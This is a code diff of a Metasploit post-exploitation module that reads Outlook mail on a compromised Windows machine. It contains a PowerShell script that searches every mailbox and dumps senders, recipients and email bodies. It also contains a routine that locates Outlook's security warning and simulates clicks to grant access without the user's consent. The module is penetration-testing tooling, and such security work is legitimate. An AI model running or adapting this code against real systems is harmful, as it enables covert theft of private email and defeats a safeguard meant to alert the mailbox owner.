diff --git a/modules/post/windows/gather/outlook.rb b/modules/post/windows/gather/outlook.rb index c35acf4df8..2095c68d9d 100644 --- a/modules/post/windows/gather/outlook.rb +++ b/modules/post/windows/gather/outlook.rb @@ -21,10 +21,11 @@ class Metasploit3 < Msf::Post }, 'License' => MSF_LICENSE, 'Author' => [ 'Wesley Neelen ' ], + 'References' => [ 'URL', 'https://forsec.nl/2014/11/reading-outlook-using-metasploit' ], 'Platform' => [ 'win' ], - 'Arch' => [ 'x86', 'x64' ], + 'Arch' => [ 'x86', 'x64' ], 'SessionTypes' => [ 'meterpreter'], - 'Actions' => [ + 'Actions' => [ [ 'LIST', { 'Description' => 'Lists all folders' } ], [ 'SEARCH', { 'Description' => 'Searches for an email' } ] ], @@ -77,30 +78,36 @@ class Metasploit3 < Msf::Post print_status("System has currently been idle for #{currentidle} seconds") end - def readEmails(folder,keyword,searchobject,atrans,acftrans) + def readEmails(folder,keyword,atrans,acftrans) # This functions reads Outlook using powershell scripts view = framework.threads.spawn("ButtonClicker", false) { clickButton(atrans,acftrans) } psh_script = %Q| - function Get-Emails { - param ([String]$searchTerm,[String]$Folder,[String]$searchObject) - Add-Type -Assembly "Microsoft.Office.Interop.Outlook" - $Outlook = New-Object -ComObject Outlook.Application - $Namespace = $Outlook.GetNameSpace("MAPI") - $account = $NameSpace.Folders - $count = 0 - foreach ($acc in $account) { - $count = $count+1 + function Get-Emails { + param ([String]$searchTerm,[String]$Folder) + Add-Type -Assembly "Microsoft.Office.Interop.Outlook" + $Outlook = New-Object -ComObject Outlook.Application + $Namespace = $Outlook.GetNameSpace("MAPI") + $account = $NameSpace.Folders + $found = $false + foreach ($acc in $account) { try { - $Email = $NameSpace.Folders.Item($count).Folders.Item($Folder).Items - $Email \| Where-Object {$_.$searchObject -like '*' + $searchTerm + '*'} \| Format-List To, SenderEmailAddress, CreationTime, TaskSubject, HTMLBody - } catch { - Write-Host "Folder not found in mailbox $count" - } - } - } - Get-Emails "#{keyword}" "#{folder}" "#{searchobject}" + $Email = $acc.Folders.Item($Folder).Items + $result = $Email \| Where-Object {$_.HTMLBody -like '*' + $searchTerm + '*' -or $_.TaskSubject -like '*' + $searchTerm + '*'} + if($result) { + $found = $true + $result \| Format-List To, SenderEmailAddress, CreationTime, TaskSubject, HTMLBody + } + } catch { + Write-Host "Folder" $Folder "not found in mailbox" $acc.Name + } + } + if(-Not $found) { + Write-Host "Searchterm" $searchTerm "not found" + } + } + Get-Emails "#{keyword}" "#{folder}" | compressed_script = compress_script(psh_script) cmd_out, runnings_pids, open_channels = execute_script(compressed_script, 120) @@ -113,22 +120,25 @@ class Metasploit3 < Msf::Post # This functions clicks on the security notification generated by Outlook. sleep 1 hwnd = client.railgun.user32.FindWindowW(nil, "Microsoft Outlook") - hwndChildCk = client.railgun.user32.FindWindowExW(hwnd['return'], nil, "Button", "&#{acftrans}") - client.railgun.user32.SendMessageW(hwndChildCk['return'], 0x00F1, 1, nil) - client.railgun.user32.MoveWindow(hwnd['return'],150,150,1,1,true) - hwndChild = client.railgun.user32.FindWindowExW(hwnd['return'], nil, "Button", "#{atrans}") - client.railgun.user32.SetActiveWindow(hwndChild['return']) - client.railgun.user32.SetForegroundWindow(hwndChild['return']) - client.railgun.user32.SetCursorPos(150,150) - client.railgun.user32.mouse_event(0x0002,150,150,nil,nil) - client.railgun.user32.SendMessageW(hwndChild['return'], 0x00F5, 0, nil) + if hwnd != 0 + hwndChildCk = client.railgun.user32.FindWindowExW(hwnd['return'], nil, "Button", "&#{acftrans}") + client.railgun.user32.SendMessageW(hwndChildCk['return'], 0x00F1, 1, nil) + client.railgun.user32.MoveWindow(hwnd['return'],150,150,1,1,true) + hwndChild = client.railgun.user32.FindWindowExW(hwnd['return'], nil, "Button", "#{atrans}") + client.railgun.user32.SetActiveWindow(hwndChild['return']) + client.railgun.user32.SetForegroundWindow(hwndChild['return']) + client.railgun.user32.SetCursorPos(150,150) + client.railgun.user32.mouse_event(0x0002,150,150,nil,nil) + client.railgun.user32.SendMessageW(hwndChild['return'], 0x00F5, 0, nil) + else + print_error("Error while clicking on the Outlook security notification. Window could not be found") + end end def run # Main method folder = datastore['FOLDER'] keyword = datastore['KEYWORD'].to_s - object = "HTMLBody" allow = datastore['A_TRANSLATION'] allow_access_for = datastore['ACF_TRANSLATION'] langNotSupported = true @@ -148,8 +158,7 @@ class Metasploit3 < Msf::Post acftrans = allow_access_for else if langNotSupported == true - print_error ("System language not supported, you can specify the targets system translations in the options A_TRANSLATION (Allow) and ACF_TRANSLATION (Allow access for)") - abort() + fail_with(Failure::Unknown, "System language not supported, you can specify the targets system translations in the options A_TRANSLATION (Allow) and ACF_TRANSLATION (Allow access for)") end end @@ -161,37 +170,31 @@ class Metasploit3 < Msf::Post if outlookInstalled != 0 print_good "Outlook is installed" else - print_error "Outlook is not installed" - abort() + fail_with(Failure::Unknown, "Outlook is not installed") end end # Powershell installed check - powershellInstalled = registry_enumkeys("HKLM\\SOFTWARE\\Microsoft\\").include?("PowerShell") - - if !powershellInstalled.nil? - if powershellInstalled != 0 - print_good("Powershell is installed on this system.") - else - print_error("Powershell is not installed") - abort() - end + if have_powershell? + print_good("Powershell is installed.") + else + fail_with(Failure::Unknown, "Powershell is not installed") end # Check whether target system is locked locked = client.railgun.user32.GetForegroundWindow()['return'] if locked == 0 - print_error("Target system is locked. This post module cannot click on Outlooks security warning when the target system is locked") - abort() + fail_with(Failure::Unknown, "Target system is locked. This post module cannot click on Outlooks security warning when the target system is locked") end - if action.name == "LIST" + case action.name + when 'LIST' print_good('Available folders in the mailbox: ') listBoxes() - end - - if action.name == "SEARCH" - readEmails(folder,keyword,object,atrans,acftrans) + when 'SEARCH' + readEmails(folder,keyword,atrans,acftrans) + else + print_error("Unknown Action: #{action.name}") end end end